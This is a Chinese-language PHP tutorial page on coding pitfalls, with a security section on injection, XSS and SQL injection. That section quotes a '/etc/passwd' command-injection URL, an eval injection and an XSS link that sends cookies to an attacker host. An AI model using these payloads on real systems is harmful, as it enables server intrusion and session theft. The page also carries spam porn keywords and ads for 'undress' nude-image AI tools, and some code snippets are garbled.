亚洲国产日韩欧美一区二区三区,精品亚洲国产成人av在线,国产99视频精品免视看7,99国产精品久久久久久久成人热,欧美日韩亚洲国产综合乱

Home php教程 php手冊 PHP編程注意事項

PHP編程注意事項

Jul 29, 2017 pm 02:36 PM
php who priority operate Precautions programming question

1、php隱性的三元操作符(?:)優(yōu)先級問題:

例1:

$person = $who or $person = "laruence"; ?

??

//實際上是等同于: ?

??

$person = emptyempty($who)? "laruence" : $who; ?

?例2

$arr = array(1=>1,3=>3); ?

$i = 2; ?

$a = ’test‘ . isset($arr[$i]) ? $arr[$i] : $i; ?

$a 是什么? 這個問題, 咋一看覺得簡單,?

$a = ‘test2';

其實仔細推敲后運行的,結果是notice:Undefined index 2..

由于優(yōu)先級的問題, 連接符的優(yōu)先級比三元操作符高。

首先是判斷 ' test'. isset($arr[$i]) 這個字符串永遠是true,因此:

$a = ?$arr[$i];以致php提示提醒。

?

?

2. PHP函數(shù)名和類名不區(qū)分大小寫的,而變量名是區(qū)分大小寫的。

所以自己寫的php模塊,往往是大寫的問題,編譯不通過。

?

3.系列化傳遞問題

把復雜的數(shù)據(jù)類型壓縮到一個字符串中

serialize() 把變量和它們的值編碼成文本形式

unserialize() 恢復原先變量

$stooges = array('Moe','Larry','Curly'); ?

$new = serialize($stooges); ?

print_r($new);echo "
"; ?

print_r(unserialize($new)); ?

?

結果:a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}

Array ( [0] => Moe [1] => Larry [2] => Curly )

當把這些序列化的數(shù)據(jù)放在URL中在頁面之間會傳遞時,需要對這些數(shù)據(jù)調用urlencode(),以確保在其中的URL元字符進行處理:

?

$shopping = array('Poppy seed bagel' => 2,'Plain Bagel' =>1,'Lox' =>4); ?

echo 'next'; ?

?

margic_quotes_gpc和magic_quotes_runtime配置項的設置會影響傳遞到unserialize()中的數(shù)據(jù)。

如果magic_quotes_gpc項是啟用的,那么在URL、POST變量以及cookies中傳遞的數(shù)據(jù)在反序列化之前必須用stripslashes()進行處理:

$new_cart = unserialize(stripslashes($cart)); //如果magic_quotes_gpc開啟 ?

$new_cart = unserialize($cart); ?

?

如果magic_quotes_runtime是啟用的,那么在向文件中寫入序列化的數(shù)據(jù)之前必須用addslashes()進行處理,而在讀取它們之前則必須用stripslashes()進行處理:

$fp = fopen('/tmp/cart','w'); ?

fputs($fp,addslashes(serialize($a))); ?

fclose($fp); ?

//如果magic_quotes_runtime開啟 ?

$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart'))); ?

//如果magic_quotes_runtime關閉 ?

$new_cat = unserialize(file_get_contents('/tmp/cart')); ?

?

在啟用了magic_quotes_runtime的情況下,從數(shù)據(jù)庫中讀取序列化的數(shù)據(jù)也必須經過stripslashes()的處理,保存到數(shù)據(jù)庫中的序列化數(shù)據(jù)必須要經過addslashes()的處理,以便能夠適當?shù)卮鎯Α?/p>

mysql_query("insert into cart(id,data) values(1,'".addslashes(serialize($cart))."')"); ?

$rs = mysql_query('select data from cart where id=1'); ?

$ob = mysql_fetch_object($rs); ?

//如果magic_quotes_runtime開啟 ?

$new_cart = unserialize(stripslashes($ob->data)); ?

//如果magic_quotes_runtime關閉 ?

$new_cart = unserialize($ob->data); ?

當對一個對象進行反序列化操作時,PHP會自動地調用其__wakeUp()方法。這樣就使得對象能夠重新建立起序列化時未能保留的各種狀態(tài)。例如:數(shù)據(jù)庫連接等。

?

4. 引用注意事項

PHP中引用意味著用不同的名字訪問同一個變量內容,引用不是C的指針(C語言中的指針里面存儲的是變量的內容,在內存中存放的地址),是變量的另外一個別名或者映射。注意在 PHP 中,變量名和變量內容是不一樣的,因此同樣的內容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身――變量名是目錄條目,而變量內容則是文件本身。引用可以被看作是 Unix 文件系統(tǒng)中的緊密連接或者wins的快捷方式。

1)unset 一個引用,只是斷開了變量名和變量內容之間的綁定。這并不意味著變量內容被銷毀了

?

例如:不會 unset $b,只是 $a。

?

$a = 1 ;

$b =& $a ;

unset ( $a );

echo $b; //輸出:1:

使用unset($a)與$a=null的結果是不一樣的。如果該塊內存只有$a一個映射,那么unset($a)與$a=null等價,該內存的引用計數(shù)變?yōu)?,被自動回收;如果該塊內存有$a和$b兩個映射,那么unset($a)將導致$a=null且$b不變的情況,而$a=null會導致$a=$b=null的情況。

原因:某變量賦值為null,將導致該變量對應的內存塊的引用計數(shù)直接置為0,被自動回收。

2)PHP引用是采用引用計數(shù)、寫時拷貝

很多人誤解Php中的引用跟C當中的指針一樣,事實上并非如此,而且很大差別。C語言中的指針除了在數(shù)組傳遞過程中不用顯式申明外,其他都需要使用*進行定義,而php中對于地址的指向(類似指針)功能不是由用戶自己來實現(xiàn)的,是由Zend核心實現(xiàn)的,php中引用采用的是“引用計數(shù)、寫時拷貝”的原理,(寫時復制(Copy-on-Write,也縮寫為COW),顧名思義,就是在寫入時才真正復制一份內存進行修改。)

就是除非發(fā)生寫操作,指向同一個地址的變量或者對象是不會被拷貝的,比如下面的代碼:

$a = array('a','c'...'n');

$b = $a;

如果程序僅執(zhí)行到這里,$b和$b是相同的,但是并沒有像C那樣,$a和$b占用不同的內存空間,而是指向了同一塊內存,這就是php和c的差別,并不需要寫成$b=&$a才表示$b指向$a的內存,zend就已經幫你實現(xiàn)了引用,并且zend會非常智能的幫你去判斷什么時候該這樣處理,什么時候不該這樣處理。

如果在后面繼續(xù)寫如下代碼,增加一個函數(shù),通過引用的方式傳遞參數(shù),并打印輸出數(shù)組大小。

function printArray(&$arr) //引用傳遞

{

print(count($arr));

}

printArray($a);

上面的代碼中,我們通過引用把$a數(shù)組傳入printArray()函數(shù),zend引擎會認為printArray()可能會導致對$a的改變,此時就會自動為$b生產一個$a的數(shù)據(jù)拷貝,重新申請一塊內存進行存儲。這就是前面提到的“引用計數(shù)、寫時拷貝”概念。

直觀的理解:$a將使用自己原始的內存空間,而$b,則會使用新開辟的內存空間,而這個空間將使用$a的原始($a或者$b改變之前)內容空間的內容的拷貝,然后做對應的改變。

如果我們把上面的代碼改成下面這樣:

function printArray($arr) //值傳遞

{

print(count($arr));

}

printArray($a);

上面的代碼直接傳遞$a值到printArray()中,此時并不存在引用傳遞,所以沒有出現(xiàn)寫時拷貝。

具體了解引用請看:PHP中引用的詳解(引用計數(shù)、寫時拷貝)

5. 編碼的問題

程序代碼使用utf-8碼,而strlen函數(shù)是計算字符串的字節(jié)數(shù)而不是字符數(shù)?

$str = “您好hello”;

echo strlen($str);

結果:ANSI=9 而utf-8=11,utf-8中文字符編碼是3個字節(jié)。要獲取字符數(shù),使用mb_strlen().

6. PHP獲取參數(shù)的三種方法

方法一 使用$argc $argv

if ($argc > 1){ ?

? ? ? ? print_r($argv); ?

? ? } ?

在命令行下運行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456

運行結果:

? ? ?# /usr/local/php/bin/php ./getopt.php -f 123 -g 456

? ? ? ? Array

? ? ? ? (

? ? ? ? ? ? [0] => ./getopt.php

? ? ? ? ? ? [1] => -f

? ? ? ? ? ? [2] => 123

? ? ? ? ? ? [3] => -g

? ? ? ? ? ? [4] => 456

? ? ? ? )

?

方法二 使用getopt函數(shù)()

$options = "f:g:"; ?

$opts = getopt( $options ); ?

print_r($opts); ?

在命令行下運行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456

?運行結果:

? ?Array

? ? ? ? (

? ? ? ? ? ? [f] => 123

? ? ? ? ? ? [g] => 456

? ? ? ? )

方法三 提示用戶輸入,然后獲取輸入的參數(shù)。有點像C語言

fwrite(STDOUT, "Enter your name: "); ?

$name = trim(fgets(STDIN)); ?

fwrite(STDOUT, "Hello, $name!"); ?

?

在命令行下運行 /usr/local/php/bin/php ./getopt.php

?運行結果

? ? ?Enter your name: francis

? ? ?Hello, francis!

?

?

7. php的字符串即可以當做數(shù)組,和c指針字符串一樣

$s = '12345';

$s[$s[0]] = 0;

echo $s;

?> ?

結果是10345

?

?

8. PHP的高效率寫法:

? ?請看:PHP高效率寫法(詳解原因)

?

9. PHP的安全漏洞問題:

針對PHP的網(wǎng)站主要存在下面幾種攻擊方式:

1、命令注入(Command Injection)

? ? ?PHP中可以使用下列5個函數(shù)來執(zhí)行外部的應用程序或函數(shù) system、exec、passthru、shell_exec、“(與shell_exec功能相同)

? ? ?如:

$dir = $_GET["dir"];

if (isset($dir)) {

echo "";

system("ls -al ".$dir);

echo "";

}

?> ??

我們提交http://www.test.com/ex1.php?dir=| cat /etc/passwd,命令變成了 system("ls -al | cat /etc/passwd"); 我們服務器用戶信息被竊看了吧。

2、eval注入(Eval Injection)

eval函數(shù)將輸入的字符串參數(shù)當作PHP程序代碼來執(zhí)行,eval注入一般發(fā)生在攻擊者能控制輸入的字符串的時候。

$var = "var"; ??

if (isset($_GET["arg"])) ??

{ ??

? ? $arg = $_GET["arg"]; ??

? ? eval("\$var = $arg;"); ??

? ? echo "\$var =".$var; ??

} ??

?> ?

?

當我們提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就產生了;

防范命令注入和eval注入的方法

? ?1)、盡量不要執(zhí)行外部命令。

? ?2)、使用自定義函數(shù)或函數(shù)庫來替代外部命令的功能,甚至有些服務器直接禁止使用這些函數(shù)。

? ?3)、使用escapeshellarg函數(shù)來處理命令參數(shù),esacpeshellarg函數(shù)會將任何引起參數(shù)或命令結束的字符轉義,單引號“’”,替換成“\’”,雙引號“"”,替換成“\"”,分號“;”替換成“\;”

?

3、客戶端腳本攻擊(Script Insertion)

客戶端腳本植入的攻擊步驟

1)、攻擊者注冊普通用戶后登陸網(wǎng)站

2)、打開留言頁面,插入攻擊的js代碼

3)、其他用戶登錄網(wǎng)站(包括管理員),瀏覽此留言的內容

4)、隱藏在留言內容中的js代碼被執(zhí)行,攻擊成功

?

表單輸入一些瀏覽器可以執(zhí)行的腳本:

插入 <script>while(1){windows.open();}</script> 無限彈框

插入<script>location.href="http://www.sectop.com";</script> 跳轉釣魚頁面

?防止惡意HTML標簽的最好辦法是使用htmlspecailchars或者htmlentities使某些字符串轉為html實體。

?

4、跨網(wǎng)站腳本攻擊(Cross Site Scripting, XSS)

惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達到惡意用戶的特殊目的。

跨站腳本主要被攻擊者利用來讀取網(wǎng)站用戶的cookies或者其他個人數(shù)據(jù),一旦攻擊者得到這些數(shù)據(jù),那么他就可以偽裝成此用戶來登錄網(wǎng)站,獲得此用戶的權限。

跨站腳本攻擊的一般步驟:

1)、攻擊者以某種方式發(fā)送xss的http鏈接給目標用戶,例如評論表單:

? ? ? ? 插入<script>document.location= &ldquo;go.somewhere.bad?cookie=+&ldquo;this.cookie</script>

? ? ? 或者是鏈接:

? ? ? http://w w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;< / script >

2)、目標用戶登錄此網(wǎng)站,在登陸期間打開了攻擊者發(fā)送的xss鏈接

3)、網(wǎng)站執(zhí)行了此xss攻擊腳本

4)、目標用戶頁面跳轉到攻擊者的網(wǎng)站,攻擊者取得了目標用戶的信息

5)、攻擊者使用目標用戶的信息登錄網(wǎng)站,完成攻擊

? ? ? 防止惡意HTML標簽的最好辦法還是使用htmlspecailchars或者htmlentities使某些字符串轉為html實體。

?

5、SQL注入攻擊(SQL injection)

? ? ?SQL注入最有效的防御方式是使用準備語句:

? ? ?準備語句(也叫預備語句 prepared statements),是一種查詢,先將他們發(fā)送到服務器進行預編譯和準備,并且在以后的執(zhí)行這個查詢時告訴它存儲參數(shù)的位置。

其優(yōu)點:

? ?1)對參數(shù)值進行轉義。因此不必調用像mysqli::real_escape_string或者將參數(shù)放在引號中。

? 2)當在一個腳本中多次執(zhí)行時,預備語句的性能通常好于每次都通過網(wǎng)絡發(fā)送查詢,當再次執(zhí)行一個查詢時,只將參數(shù)發(fā)送到數(shù)據(jù)庫,這占用的空間比較少。

1)用PDO(PHP Data Objects ):

PHP PDO::prepare() and execute() ??

??

$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)'); ? ?

??

$preparedStatement->execute(array(':column' => $unsafeValue)); ??

?

2) 使用mysqli:

$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?'); ??

??

$stmt->bind_param('s', $name); ? ?

??

$stmt->execute(); ? ?

??

$result = $stmt->get_result(); ? ?

??

while ($row = $result->fetch_assoc()) { ? ?

??

? ? // do something with $row ? ??

??

} ? ?

?

6、跨網(wǎng)站請求偽造攻擊(Cross Site Request Forgeries, CSRF)

7、Session 會話劫持(Session Hijacking)

8、Session 固定攻擊(Session Fixation)

9、HTTP響應拆分攻擊(HTTP Response Splitting)

10、文件上傳漏洞(File Upload Attack)

11、目錄穿越漏洞(Directory Traversal)

12、遠程文件包含攻擊(Remote Inclusion)

13、動態(tài)函數(shù)注入攻擊(Dynamic Variable Evaluation)

14、URL攻擊(URL attack)

15、表單提交欺騙攻擊(Spoofed Form Submissions)

16、HTTP請求欺騙攻擊(Spoofed HTTP Requests)

幾個重要的php.ini選項:register_globals、、magic_quotes、safe_mode。 這個幾個選項在PHP5.4都將被棄用。

register_globals:

? ? ?php>=4.2.0,php.ini的register_globals選項的默認值預設為Off,當register_globals

的設定為On時,程序可以接收來自服務器的各種環(huán)境變量,包括表單提交的變量,而且由于PHP不必事先初始化變量的值,從而導致很大的安全隱患。

? ? ?要確保禁用 register_globals。如果啟用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替換同名的 GET 或 POST 字符串。通過禁用這個設置,PHP 強迫您在正確的名稱空間中引用正確的變量。要使用來自表單 POST 的變量,應該引用 $_POST['variable']。這樣就不會將這個特定變量誤會成 cookie、會話或 GET 變量。?

?

safe_mode:

安全模式,PHP用來限制文檔的存取、限制環(huán)境變量的存取,控制外部程序的執(zhí)行。啟用安全模式必須設置php.ini中的safe_mode=On

?

magic_quotes

用來讓php程序的輸入信息自動轉義,所有的單引號(“'”),雙引號(“"”),反斜杠(“\”)和空字符(NULL),都自動被加上反斜杠進行轉義magic_quotes_gpc=On用來設置magicquotes為On,它會影響HTTP請求的數(shù)據(jù)(GET、POST、Cookies)程序員也可以使用addslashes來轉義提交的HTTP 請求數(shù)據(jù),或者用stripslashes 來刪除轉義。

?

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undress AI Tool

Undress AI Tool

Undress images for free

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Object-Relational Mapping (ORM) Performance Tuning in PHP Object-Relational Mapping (ORM) Performance Tuning in PHP Jul 29, 2025 am 05:00 AM

Avoid N 1 query problems, reduce the number of database queries by loading associated data in advance; 2. Select only the required fields to avoid loading complete entities to save memory and bandwidth; 3. Use cache strategies reasonably, such as Doctrine's secondary cache or Redis cache high-frequency query results; 4. Optimize the entity life cycle and call clear() regularly to free up memory to prevent memory overflow; 5. Ensure that the database index exists and analyze the generated SQL statements to avoid inefficient queries; 6. Disable automatic change tracking in scenarios where changes are not required, and use arrays or lightweight modes to improve performance. Correct use of ORM requires combining SQL monitoring, caching, batch processing and appropriate optimization to ensure application performance while maintaining development efficiency.

Building Immutable Objects in PHP with Readonly Properties Building Immutable Objects in PHP with Readonly Properties Jul 30, 2025 am 05:40 AM

ReadonlypropertiesinPHP8.2canonlybeassignedonceintheconstructororatdeclarationandcannotbemodifiedafterward,enforcingimmutabilityatthelanguagelevel.2.Toachievedeepimmutability,wrapmutabletypeslikearraysinArrayObjectorusecustomimmutablecollectionssucha

Laravel raw SQL query example Laravel raw SQL query example Jul 29, 2025 am 02:59 AM

Laravel supports the use of native SQL queries, but parameter binding should be preferred to ensure safety; 1. Use DB::select() to execute SELECT queries with parameter binding to prevent SQL injection; 2. Use DB::update() to perform UPDATE operations and return the number of rows affected; 3. Use DB::insert() to insert data; 4. Use DB::delete() to delete data; 5. Use DB::statement() to execute SQL statements without result sets such as CREATE, ALTER, etc.; 6. It is recommended to use whereRaw, selectRaw and other methods in QueryBuilder to combine native expressions to improve security

css dark mode toggle example css dark mode toggle example Jul 30, 2025 am 05:28 AM

First, use JavaScript to obtain the user system preferences and locally stored theme settings, and initialize the page theme; 1. The HTML structure contains a button to trigger topic switching; 2. CSS uses: root to define bright theme variables, .dark-mode class defines dark theme variables, and applies these variables through var(); 3. JavaScript detects prefers-color-scheme and reads localStorage to determine the initial theme; 4. Switch the dark-mode class on the html element when clicking the button, and saves the current state to localStorage; 5. All color changes are accompanied by 0.3 seconds transition animation to enhance the user

go by example generics go by example generics Jul 29, 2025 am 04:10 AM

Go generics are supported since 1.18 and are used to write generic code for type-safe. 1. The generic function PrintSlice[Tany](s[]T) can print slices of any type, such as []int or []string. 2. Through type constraint Number limits T to numeric types such as int and float, Sum[TNumber](slice[]T)T safe summation is realized. 3. The generic structure typeBox[Tany]struct{ValueT} can encapsulate any type value and be used with the NewBox[Tany](vT)*Box[T] constructor. 4. Add Set(vT) and Get()T methods to Box[T] without

python json loads example python json loads example Jul 29, 2025 am 03:23 AM

json.loads() is used to parse JSON strings into Python data structures. 1. The input must be a string wrapped in double quotes and the boolean value is true/false; 2. Supports automatic conversion of null→None, object→dict, array→list, etc.; 3. It is often used to process JSON strings returned by API. For example, response_string can be directly accessed after parsing by json.loads(). When using it, you must ensure that the JSON format is correct, otherwise an exception will be thrown.

python parse date string example python parse date string example Jul 30, 2025 am 03:32 AM

Use datetime.strptime() to convert date strings into datetime object. 1. Basic usage: parse "2023-10-05" as datetime object through "%Y-%m-%d"; 2. Supports multiple formats such as "%m/%d/%Y" to parse American dates, "%d/%m/%Y" to parse British dates, "%b%d,%Y%I:%M%p" to parse time with AM/PM; 3. Use dateutil.parser.parse() to automatically infer unknown formats; 4. Use .d

css dropdown menu example css dropdown menu example Jul 30, 2025 am 05:36 AM

Yes, a common CSS drop-down menu can be implemented through pure HTML and CSS without JavaScript. 1. Use nested ul and li to build a menu structure; 2. Use the:hover pseudo-class to control the display and hiding of pull-down content; 3. Set position:relative for parent li, and the submenu is positioned using position:absolute; 4. The submenu defaults to display:none, which becomes display:block when hovered; 5. Multi-level pull-down can be achieved through nesting, combined with transition, and add fade-in animations, and adapted to mobile terminals with media queries. The entire solution is simple and does not require JavaScript support, which is suitable for large

See all articles